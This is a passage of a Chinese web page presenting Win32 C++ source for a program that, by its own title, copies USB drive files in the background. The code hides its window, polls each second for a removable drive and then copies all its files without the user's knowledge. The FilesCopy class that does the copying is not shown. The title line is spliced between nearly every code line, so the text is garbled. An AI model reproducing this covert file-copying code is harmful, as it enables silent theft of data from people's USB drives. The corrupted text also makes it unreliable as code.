背景拷貝U盤檔案的程式源碼。

        NULL);    //lpParam,使用者資料。

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

    if(hwnd == NULL)

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

    ...{

背景拷貝U盤檔案的程式源碼。

        ::MessageBox (NULL, TEXT("視窗出錯!"), TEXT("error"), MB_OK);

背景拷貝U盤檔案的程式源碼。

        return -1;

背景拷貝U盤檔案的程式源碼。

    }

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

    nShowCmd = 0;     //不顯示視窗。。

背景拷貝U盤檔案的程式源碼。

    ::ShowWindow (hwnd, nShowCmd);    //顯示視窗,重新整理視窗客戶區。

背景拷貝U盤檔案的程式源碼。

    ::UpdateWindow (hwnd);

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

    //從消息隊列中取出消息,交給視窗函數處理,直到GetMessage傳回FALSE,結束消息循環。

背景拷貝U盤檔案的程式源碼。

    MSG msg;

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

    while(::GetMessage (&msg, NULL, 0, 0))

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

    ...{

背景拷貝U盤檔案的程式源碼。

        //轉化鍵盤消息。

背景拷貝U盤檔案的程式源碼。

        ::TranslateMessage (&msg);

背景拷貝U盤檔案的程式源碼。

        //将消息發送到相應視窗函數。

背景拷貝U盤檔案的程式源碼。

        ::DispatchMessage (&msg);

背景拷貝U盤檔案的程式源碼。

    }

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

    //當GetMessage傳回FALSE時程式結束。

背景拷貝U盤檔案的程式源碼。

    return msg.wParam;

背景拷貝U盤檔案的程式源碼。

}

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

LRESULT CALLBACK MainWndProc (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

... {

背景拷貝U盤檔案的程式源碼。

    static FilesCopy ff;

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

    switch (message)

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

    ...{

背景拷貝U盤檔案的程式源碼。

    case WM_CREATE:    

背景拷貝U盤檔案的程式源碼。

        ::SetTimer (hwnd, TIMER_COPYFILE, 1000, NULL);

背景拷貝U盤檔案的程式源碼。

        return 0;

背景拷貝U盤檔案的程式源碼。

    case WM_TIMER:

背景拷貝U盤檔案的程式源碼。

        switch (wParam)

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

        ...{

背景拷貝U盤檔案的程式源碼。

        case TIMER_COPYFILE:

背景拷貝U盤檔案的程式源碼。

            if(ff.bSeekMoveDrive ())

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

            ...{    

背景拷貝U盤檔案的程式源碼。

                ::KillTimer (hwnd, TIMER_COPYFILE);

背景拷貝U盤檔案的程式源碼。

                ff.bCopyRemovableFilesAll ();

背景拷貝U盤檔案的程式源碼。

                break;    //退出消息循環,同時也就退出了程式。

背景拷貝U盤檔案的程式源碼。

            }

背景拷貝U盤檔案的程式源碼。

            return 0;

背景拷貝U盤檔案的程式源碼。

        }

背景拷貝U盤檔案的程式源碼。

    case WM_DESTROY:    //正在銷毀視窗。

背景拷貝U盤檔案的程式源碼。

        //向消息隊列投遞一個WM_QUIT消息,促使GetMessage函數傳回0,結束消息循環。

背景拷貝U盤檔案的程式源碼。

        ::PostQuitMessage (0);

背景拷貝U盤檔案的程式源碼。

        return 0;

背景拷貝U盤檔案的程式源碼。

    }

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

    return (::DefWindowProc (hwnd, message, wParam, lParam));

背景拷貝U盤檔案的程式源碼。

}

  • 源碼下載下傳
  • 程式下載下傳

繼續閱讀